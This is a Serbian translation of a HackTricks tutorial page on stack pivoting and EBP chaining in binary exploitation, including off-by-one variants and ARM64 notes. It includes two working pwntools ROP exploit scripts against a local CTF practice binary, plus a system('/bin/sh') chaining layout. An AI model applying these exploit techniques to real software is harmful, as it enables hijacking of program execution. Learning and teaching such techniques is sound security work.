Stack Pivoting - EBP2Ret - EBP chaining

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Ova tehnika iskorišćava mogućnost manipulacije Base Pointer-a (EBP) kako bi se lancala izvršenje više funkcija kroz pažljivu upotrebu EBP registra i sekvence instrukcija leave; ret.

Kao podsetnik, leave u osnovi znači:

mov       ebp, esp
pop       ebp
ret

I pošto je EBP u steku pre EIP-a moguće je kontrolisati ga kontrolišući stek.

EBP2Ret

Ova tehnika je posebno korisna kada možete izmeniti registar EBP ali nemate direktni način da promenite registar EIP. Iskorišćava ponašanje funkcija kada završe izvršavanje.

Ako tokom izvršavanja fvuln uspete da ubacite lažni EBP u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shell koda (plus 4 bajta da se uzme u obzir operacija pop), možete indirektno kontrolisati EIP. Kako fvuln završava, ESP je postavljen na ovu izrađenu lokaciju, a naknadna pop operacija smanjuje ESP za 4 bajta, efektivno ga usmeravajući na adresu koju je napadač tamo sačuvao. Primetite kako morate znati 2 adrese: Onu gde će ići ESP, gde ćete morati napisati adresu na koju pokazuje ESP.

Konstrukcija eksploatacije

Prvo morate znati adresu gde možete pisati proizvoljne podatke / adrese. ESP će pokazivati ovde i izvršiti prvi ret.

Zatim, morate znati adresu koju koristi ret koja će izvršiti proizvoljni kod. Mogli biste koristiti:

  • Validnu ONE_GADGET adresu.

  • Adresu system() praćenu sa 4 smećna bajta i adresom "/bin/sh" (x86 bita).

  • Adresu jump esp; gedžeta (ret2esp) praćenu shell kodom za izvršavanje.

  • Neki ROP lanac

Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, moraju biti 4 bajta zbog pop dela leave instrukcije. Bilo bi moguće zloupotrebiti ove 4B da se postavi drugi lažni EBP i nastavi kontrolisanje izvršavanja.

Off-By-One eksploatacija

Postoji specifična varijanta ove tehnike poznata kao "Off-By-One eksploatacija". Koristi se kada možete samo izmeniti najmanje značajan bajt EBP-a. U takvom slučaju, lokacija memorije koja čuva adresu na koju treba skočiti sa ret mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožijim uslovima. Obično se modifikuje bajt 0x00 da bi se skočilo što dalje.

Takođe, uobičajeno je koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraju kako bi bilo verovatnije da novi ESP pokazuje unutar RET KLIZALJKE i da se izvrši konačni ROP lanac.

EBP Povezivanje

Stavljanjem kontrolisane adrese u EBP unos steka i adrese za leave; ret u EIP, moguće je pomeriti ESP na kontrolisanu EBP adresu iz steka.

Sada je ESP kontrolisan pokazujući na željenu adresu i sledeća instrukcija za izvršavanje je RET. Da bi se iskoristilo ovo, moguće je staviti na kontrolisano mesto ESP-a ovo:

  • &(sledeći lažni EBP) -> Učitaj novi EBP zbog pop ebp iz leave instrukcije

  • system() -> Pozvan od strane ret

  • &(leave;ret) -> Pozvan nakon što system završi, pomeriće ESP na lažni EBP i početi ponovo

  • &("/bin/sh")-> Parametar za system

Na ovaj način je moguće povezati nekoliko lažnih EBPa da bi se kontrolisao tok programa.

Ovo je kao ret2lib, ali složenije bez očigledne koristi ali može biti interesantno u nekim ekstremnim slučajevima.

Osim toga, ovde imate primer izazova koji koristi ovu tehniku sa curenjem steka da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP možda neće biti korišćen

Kao što je objašnjeno u ovom postu, ako je binarni fajl kompajliran sa određenim optimizacijama, EBP nikada ne kontroliše ESP, stoga, bilo koji eksploit koji radi kontrolišući EBP će zapravo neuspeti jer nema stvarnog efekta. Ovo je zato što se prolog i epilog menjaju ako je binarni fajl optimizovan.

  • Nije optimizovan:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimizovano:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Druge metode kontrole RSP-a

pop rsp gedžet

Na ovoj stranici možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, i postojao je pop rsp gedžet i postoji leak sa steka:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gedžet

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Proverite tehniku ret2esp ovde:

pageRet2esp / Ret2reg

Reference & Drugi Primeri

ARM64

U ARM64, prolog i epilog funkcija ne čuvaju i ne vraćaju SP registar na steku. Osim toga, RET instrukcija ne vraća se na adresu na koju pokazuje SP, već na adresu unutar x30.

Stoga, podrazumevano, samo zloupotrebom epiloga nećete moći kontrolisati SP registar preko prepisivanja nekih podataka unutar steka. Čak i ako uspete da kontrolišete SP, i dalje biste trebali način da kontrolišete x30 registar.

  • prolog

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP pokazuje na zapis okvira
  • epilog

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Način da se izvede nešto slično stack pivoting-u u ARM64 bio bi da možete da kontrolišete SP (kontrolišući neki registar čija vrednost se prosleđuje SP ili zato što iz nekog razloga SP uzima svoju adresu sa steka i imamo prelivanje) i zatim zloupotrebite epilog da učitate x30 registar iz kontrolisanog SP i RET na njega.

Takođe, na sledećoj stranici možete videti ekvivalent Ret2esp u ARM64:

pageRet2esp / Ret2reg
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated